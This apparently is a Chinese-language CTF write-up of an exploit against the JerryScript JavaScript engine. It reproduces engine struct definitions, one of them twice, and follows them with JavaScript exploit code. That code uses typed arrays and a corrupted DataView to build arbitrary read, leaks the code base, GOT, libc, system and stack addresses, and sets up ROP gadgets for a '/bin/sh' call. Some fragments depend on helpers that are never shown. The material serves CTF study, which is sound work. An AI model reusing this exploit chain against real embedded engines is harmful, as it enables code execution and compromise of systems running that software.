typedefstruct { /** type : 4 bit : ecma_object_type_t or ecma_lexical_environment_type_t depending on ECMA_OBJECT_FLAG_BUILT_IN_OR_LEXICAL_ENV flags : 2 bit : ECMA_OBJECT_FLAG_BUILT_IN_OR_LEXICAL_ENV, ECMA_OBJECT_FLAG_EXTENSIBLE or ECMA_OBJECT_FLAG_BLOCK refs : 10 / 26 bit (max 1022 / 67108862) */ ecma_object_descriptor_t type_flags_refs;
/** next in the object chain maintained by the garbage collector */ jmem_cpointer_t gc_next_cp;
/** compressed pointer to property list or bound object */ union { jmem_cpointer_t property_list_cp; /**< compressed pointer to object's * or declerative lexical environments's property list */ jmem_cpointer_t bound_object_cp; /**< compressed pointer to lexical environments's the bound object */ jmem_cpointer_t home_object_cp; /**< compressed pointer to lexical environments's the home object */ } u1;
/** object prototype or outer reference */ union { jmem_cpointer_t prototype_cp; /**< compressed pointer to the object's prototype */ jmem_cpointer_t outer_reference_cp; /**< compressed pointer to the lexical environments's outer reference */ } u2; } ecma_object_t;
/** * Description of extra fields. These extra fields depend on the object type. */ union { ecma_built_in_props_t built_in; /**< built-in object part */
/** * Description of objects with class. * * Note: * class is a reserved word in c++, so cls is used instead */ struct { uint8_t type; /**< class type of the object */ /** * Description of 8 bit extra fields. These extra fields depend on the type. */ union { uint8_t arguments_flags; /**< arguments object flags */ uint8_t error_type; /**< jerry_error_t type of native error objects */ #if JERRY_BUILTIN_DATE uint8_t date_flags; /**< flags for date objects */ #endif/* JERRY_BUILTIN_DATE */ #if JERRY_MODULE_SYSTEM uint8_t module_state; /**< Module state */ #endif/* JERRY_MODULE_SYSTEM */ uint8_t iterator_kind; /**< type of iterator */ uint8_t regexp_string_iterator_flags; /**< flags for RegExp string iterator */ uint8_t promise_flags; /**< Promise object flags */ #if JERRY_BUILTIN_CONTAINER uint8_t container_flags; /**< container object flags */ #endif/* JERRY_BUILTIN_CONTAINER */ #if JERRY_BUILTIN_TYPEDARRAY uint8_t array_buffer_flags; /**< ArrayBuffer flags */ uint8_t typedarray_type; /**< type of typed array */ #endif/* JERRY_BUILTIN_TYPEDARRAY */ } u1; /** * Description of 16 bit extra fields. These extra fields depend on the type. */ union { uint16_t formal_params_number; /**< for arguments: formal parameters number */ #if JERRY_MODULE_SYSTEM uint16_t module_flags; /**< Module flags */ #endif/* JERRY_MODULE_SYSTEM */ uint16_t iterator_index; /**< for %Iterator%: [[%Iterator%NextIndex]] property */ uint16_t executable_obj_flags; /**< executable object flags */ #if JERRY_BUILTIN_CONTAINER uint16_t container_id; /**< magic string id of a container */ #endif/* JERRY_BUILTIN_CONTAINER */ #if JERRY_BUILTIN_TYPEDARRAY uint16_t typedarray_flags; /**< typed array object flags */ #endif/* JERRY_BUILTIN_TYPEDARRAY */ } u2; /** * Description of 32 bit / value. These extra fields depend on the type. */ union { ecma_value_t value; /**< value of the object (e.g. boolean, number, string, etc.) */ ecma_value_t target; /**< [[ProxyTarget]] or [[WeakRefTarget]] internal property */ #if JERRY_BUILTIN_TYPEDARRAY ecma_value_t arraybuffer; /**< for typedarray: ArrayBuffer reference */ #endif/* JERRY_BUILTIN_TYPEDARRAY */ ecma_value_t head; /**< points to the async generator task queue head item */ ecma_value_t iterated_value; /**< for %Iterator%: [[IteratedObject]] property */ ecma_value_t promise; /**< PromiseCapability[[Promise]] internal slot */ ecma_value_t sync_iterator; /**< IteratorRecord [[Iterator]] internal slot for AsyncFromSyncIterator */ ecma_value_t spread_value; /**< for spread object: spreaded element */ int32_t tza; /**< TimeZone adjustment for date objects */ uint32_t length; /**< length related property (e.g. length of ArrayBuffer) */ uint32_t arguments_number; /**< for arguments: arguments number */ #if JERRY_MODULE_SYSTEM uint32_t dfs_ancestor_index; /**< module dfs ancestor index (ES2020 15.2.1.16) */ #endif/* JERRY_MODULE_SYSTEM */ } u3; } cls;
/** * Description of function objects. */ struct { jmem_cpointer_tag_t scope_cp; /**< function scope */ ecma_value_t bytecode_cp; /**< function byte code */ } function;
/** * Description of array objects. */ struct { uint32_t length; /**< length property value */ uint32_t length_prop_and_hole_count; /**< length property attributes and number of array holes in * a fast access mode array multiplied ECMA_FAST_ACCESS_HOLE_ONE */ } array;
/** * Description of bound function object. */ struct { jmem_cpointer_tag_t target_function; /**< target function */ ecma_value_t args_len_or_this; /**< length of arguments or this value */ } bound_function;
/** * Description of implicit class constructor function. */ struct { ecma_value_t script_value; /**< script value */ uint8_t flags; /**< constructor flags */ } constructor_function; } u; } ecma_extended_object_t;
typedefstruct { ecma_extended_object_t extended_object; /**< extended object part */ void *buffer_p; /**< pointer to the backing store of the array buffer object */ void *arraybuffer_user_p; /**< user pointer passed to the free callback */ } ecma_arraybuffer_pointer_t;
typedefstruct { ecma_extended_object_t extended_object; /**< extended object part */ void *buffer_p; /**< pointer to the backing store of the array buffer object */ void *arraybuffer_user_p; /**< user pointer passed to the free callback */ } ecma_arraybuffer_pointer_t;
接着可以动态的看一下，测试代码入下
1 2 3 4
let ab = newArrayBuffer(0x100); let dv = newDataView(ab,0x10); dv.setUint32(0,0x11111111,true);
/* 9. */ /* It must happen after 10., because uninitialized object can't be destroyed properly. */ ecma_object_t *object_p = ecma_create_object (prototype_obj_p, sizeof (ecma_dataview_object_t), ECMA_OBJECT_TYPE_CLASS);
var buf = newArrayBuffer(8); var f32 = newFloat32Array(buf); var f64 = newFloat64Array(buf); var u8 = newUint8Array(buf); var u16 = newUint16Array(buf); var u32 = newUint32Array(buf); var u64 = newBigUint64Array(buf);
let corrupt_idx = find_corrupt_dv(dv, vic_dv_array);
let keep_alive = MakeRef();
let version = 1; // 0: 自己编译版本, 1: 题目下发版本
let [handler_offset,code_offset, got_offset, libc_offset, environ_offset,system_offset] = InitExploit(version);
let code_base = read64(heap_global_addr+handler_offset)-code_offset;
let got_func = code_base + got_offset; let libc_base = read64(got_func)-libc_offset; let system = libc_base + system_offset; let environ_addr = libc_base + environ_offset;
let stack = read64(environ_addr)-0x138n;
let ret = code_base + 0x0002552en; let pop_rdi_ret = code_base + 0x00059279n; let pop_rsi_ret = code_base + 0x000595d6n; let pop_rdx_ret = code_base + 0x00056f1dn; let binsh = libc_base + 0x1cb42fn;
